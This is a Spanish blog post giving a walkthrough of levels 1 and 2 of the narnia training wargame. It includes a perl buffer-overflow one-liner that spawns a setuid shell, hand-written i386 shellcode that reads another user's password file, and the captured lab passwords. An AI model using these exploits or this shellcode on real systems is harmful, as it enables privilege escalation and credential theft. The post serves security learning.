systemadmin.es > Programación > Wargame narnia (Niveles 1 y 2)

Wargame narnia (Niveles 1 y 2)

Hace unos días en pentester.es hablaron del wargame leviathan y dieron las soluciones. Allí me enteré de otros wargames que existen, en este caso el narnia y me he animado a jugar un rato con el.

Esto cae muy lejos de a lo que me dedico normalmente pero me ha servido para rescatar el ensamblador para i386 que hace unos años que ya no tocaba. Aquí siguen las soluciones para los dos primeros niveles.

Primero entramos al sistema por ssh (la contraseña del nivel1 es narnia):

$ ssh -l level1 narnia.intruded.net -p 10102

En el directorio /wargame encontraremos el ejecutable del primer nivel el cual se ejecuta con el usuario del nivel siguiente:

$ ls -la
total 108
drwxr-xr-x  2 root   root   4096 2008-05-13 16:07 .
drwxr-xr-x 22 root   root   4096 2008-04-17 01:41 ..
-r-Sr-x---  1 level2 level1 7830 2008-05-13 16:06 level1
-r--r-----  1 root   level1 1254 2008-04-17 21:31 level1.c
-r-Sr-x---  1 level3 level2 7415 2008-04-17 22:58 level2
-r--r-----  1 root   level2 1068 2008-04-17 22:02 level2.c
-r-Sr-x---  1 level4 level3 7367 2008-04-17 22:58 level3
-r--r-----  1 root   level3 1062 2008-04-17 21:51 level3.c
-r-Sr-x---  1 level5 level4 7974 2008-04-17 22:58 level4
-r--r-----  1 root   level4 1765 2008-04-17 22:10 level4.c
-r-Sr-x---  1 level6 level5 7561 2008-04-17 22:58 level5
-r--r-----  1 root   level5 1135 2008-04-17 22:10 level5.c
-r-Sr-x---  1 level7 level6 7629 2008-04-17 22:58 level6
-r--r-----  1 root   level6 1300 2008-04-17 22:11 level6.c
-r-Sr-x---  1 level8 level7 8019 2008-04-17 22:58 level7
-r--r-----  1 root   level7 1462 2008-04-17 22:12 level7.c
-r-Sr-x---  1 level9 level8 8504 2008-04-17 22:58 level8
-r--r-----  1 root   level8 1845 2008-04-17 22:13 level8.c

Para hace más fácil el nivel nos dan también el código fuente de los binarios:

level1@narnia:/wargame$ cat level1.c 
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>

int main(){
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}

Simplemente vemos como debemos modificar la variable val por el valor 0xDEADBEEF. Dicha variable existe posteriormente del buffer, el cual tiene 20 caracteres. Simplemente deberemos introducir 20 caracteres cualquiera y a continuación el valor que nos interesa para val: 0xDEADBEEF.

Podemos ayudarnos de perl para hacer esto. Primero para imprimir un valor 20 veces podemos usar el operador x:

print "a"x20;

A continuación deberemos introducir la cadena considerando que vamos a hacer una copia byte a byte desde el byte menos significativo al byte más significativo por lo que deberemos invertir byte a byte la cadena: 0xDEADBEEF deberemos introducirlo al revés: 0xEFBEADDE.

A continuación vemos que el programa spawnea una shell, nosotros podemos hacer lo mismo en el perl para tener el sistema interactivo con la salida del perl como entrada de la del programa.

De esta forma si en la shell que obtenemos ejecutamos:

echo "cat /home/level2/.passwd"

La shell del binario obtiene:

cat /home/level2/.passwd

Por lo que nosotros conseguimos el password del siguiente nivel:

level1@narnia:/wargame$ perl -e 'print "a"x20; print "\xEF\xBE\xAD\xDE"; system("sh");' | ./level1 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ
val: 0xdeadbeef
sh-3.1$ echo "cat /home/level2/.passwd"
sh-3.1$ eij0OoG+
exit
level1@narnia:/wargame$ su - level2
Password: 

Para el segundo nivel ya tenemos que programar en ensamblador, ya que se nos presenta el siguiente código:

$ cat /wargame/level2.c 
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>

int main(){
        int (*ret)();

        if((ret=getenv("EGG"))==NULL){    
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }

        printf("Trying to execute EGG!\n");
        seteuid(1003);

        ret();

        return 0;
}

Dicho código intenta ejecutar el código que se le pasa mediante la variable de entorno EGG:

level2@narnia:~$ EGG="rata" /wargame/level2 
Trying to execute EGG!
Segmentation fault

Para ello deberemos programar algo que nos haga el cat del fichero /home/level3/.passwd, por lo que recurrimos a ensamblador:

global _start
section .text

_start:

	;; /home/level3/.passwd,0
	;;;;;;;;;;;;;;;;;
	; /hom
	; e/le
	; vel3
	; /.pa
	; sswd
	; 0000
	;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
	; 0000
	; sswd		dwss	64777373
	; /.pa		ap./	61702E2F
	; vel3		3lev	336C6576
	; e/le		el/e	656C2F65
	; /hom		moh/	6D6F682F
	
		
	xor eax,eax
	mov byte al,0x5			;syscall 5 = open
	
	xor ebx,ebx
	push ebx
	push 0x64777373
	push 0x61702E2F
	push 0x336C6576
	push 0x656C2F65
	push 0x6D6F682F
	mov ebx,esp			;nombre de fichero
	mov esi,esp
	
	xor ecx,ecx			;O_RDONLY
	xor edx,edx
	
	int 0x80			
	
	
	
	push eax			;descriptor
	
	xor eax,eax			;syscall 3 = read
	mov byte al,0x3
	
	pop ebx				;descriptor
	
	xor edi,edi	
	push edi			;4bytes
	push edi			;4bytes
	push edi			;4bytes
	push edi			;4bytes
					;TOTAL: 16bytes de buffer
	
	mov ecx,esp			;buff

	xor edx,edx
	mov byte dl,0xF			;tamanyo

	int 0x80		



	push eax			; bytes read

	xor eax,eax			
	mov byte al,0x4			;syscall 4 = write

	xor ebx,ebx
	mov byte bl,0x1			;stdout

	pop edx				;total leido

	mov ecx,esp			;buf
	
	int 0x80	
	
	xor eax,eax			
	inc eax				;syscall 1 = exit
	xor ebx,ebx			;return 0

	int 0x80

Para las cadenas y los buffers para leer y escribir podemos usar la pila. Compilamos el programa mediante nasm:

level2@narnia:/tmp/jordi$ nasm -f elf xo.asm
level2@narnia:/tmp/jordi$ ld -s -o xo xo.o

Por otro lado deberemos tener en cuenta que no pueden existir caracteres nulos (0x00, fin de cadena) por lo que podremos verlo mediante objdump con grep:

$ objdump -d xo | grep 00

A continuación podemos generar el comando perl para escupir el código mediante la combinación del objdump, cut y sed:

level2@narnia:/tmp/jordi$ echo perl -e \'$(objdump -d xo | grep "^ [0-9acbdef]" | cut -f -2 | cut -f 2- | sed 's/  */ /g' | sed 's/ $//g' | sed 's/^/\\x/g' | sed 's/ /\\x/g' | sed 's/^/print "/' | sed 's/$/";/')\'
perl -e 'print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x33"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80";'

A continuación con el programa en perl que se ha generado lo dejamos dentro de la variable EGG y ejecutamos el nivel y obtenemos la contraseña del siguiente:

level2@narnia:/tmp/jordi$ EGG=$(perl -e 'print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x33"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80";') /wargame/level2
Trying to execute EGG!
Ieng#um4
level2@narnia:/tmp/jordi$ su - level3 
Password: 
level3@narnia:~$

El listado de soluciones de otros niveles del wargame de narnia es el siguiente:

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>